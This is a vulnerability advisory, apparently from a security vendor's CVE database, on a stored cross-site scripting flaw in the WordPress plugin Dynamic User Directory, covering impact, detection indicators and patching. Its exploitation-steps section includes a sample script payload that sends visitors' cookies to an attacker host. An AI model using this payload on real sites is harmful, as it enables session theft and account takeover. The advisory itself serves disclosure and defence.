CVE-2025-62982
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-62982 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Dynamic User Directory by Sarah Giles. It affects all versions up to and including 2.3, and was patched in version 2.4. The vulnerability was reported by researcher Jin Yub on September 21, 2025, and published by Patchstack on October 21, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and specifically manifests as a Stored XSS flaw. Exploitation requires a network-accessible WordPress instance where the attacker holds at least Contributor or Developer-level privileges, and successful impact requires a victim user to interact with the injected content (e.g., visiting a page where the malicious script is stored). The plugin fails to properly sanitize or escape user-supplied input before persisting and rendering it in web pages, allowing an attacker to inject arbitrary JavaScript that executes in the context of other users' browsers (Patchstack).

Impact

Successful exploitation allows an attacker with Contributor or Developer privileges to inject persistent malicious scripts into WordPress pages served by the Dynamic User Directory plugin. When other users — including administrators — visit affected pages, the injected scripts execute in their browser context, potentially enabling session hijacking, credential theft, unauthorized administrative actions, or redirection to malicious sites. The scope is marked as Changed, meaning the impact can extend beyond the vulnerable component to affect other users and site integrity (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for at least Contributor-level authentication, limiting the attacker pool (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Dynamic User Directory plugin at version 2.3 or earlier, using tools like WPScan or manual inspection of plugin directories.
  2. Obtain Contributor/Developer access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Inject malicious payload: Navigate to the plugin's user directory input fields and submit a crafted payload containing a stored XSS script (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in an unsanitized field.
  4. Wait for victim interaction: The malicious script is stored in the database and rendered when any user (including administrators) visits the affected directory page.
  5. Harvest results: The injected script executes in the victim's browser, potentially exfiltrating session cookies, performing actions on behalf of the victim, or redirecting them to attacker-controlled infrastructure (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin-related endpoints (e.g., /wp-admin/admin-post.php or plugin settings pages) from Contributor/Developer accounts containing script tags or encoded JavaScript payloads.
  • Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., &#x3C;script&#x3E;) stored in the wp_posts or plugin-specific database tables associated with Dynamic User Directory entries.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the Dynamic User Directory plugin, potentially carrying cookie or session data in query parameters.
  • File System: No direct file system artifacts expected for a stored XSS; however, check for unauthorized plugin or theme file modifications if an attacker escalated privileges post-exploitation.

Mitigation and workarounds

The vendor has released version 2.4 of the Dynamic User Directory plugin, which resolves this vulnerability. Site administrators should update the plugin to version 2.4 or later immediately via the WordPress admin dashboard or by downloading the patched version from the WordPress plugin repository. If an immediate update is not possible, consider temporarily deactivating the plugin or restricting Contributor/Developer role assignments to trusted users only. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

Community reactions

Wordfence included this vulnerability in its weekly WordPress vulnerability report covering October 20–26, 2025, noting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence). Patchstack, which coordinated the disclosure, classified the priority as Low and noted it is unlikely to be exploited at scale. No significant broader media coverage or notable researcher commentary beyond standard vulnerability aggregation has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-15413CRITICAL10
  • link-factory
NoNoAug 13, 2026
CVE-2026-18146HIGH7.2
  • fluentform
NoYesAug 13, 2026
CVE-2026-3639MEDIUM6.4
  • password-protect-page
NoNoAug 13, 2026
CVE-2026-14332MEDIUM5.4
  • ecwid-shopping-cart
NoYesAug 13, 2026
CVE-2026-3835MEDIUM5.3
  • prevent-direct-access
NoYesAug 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management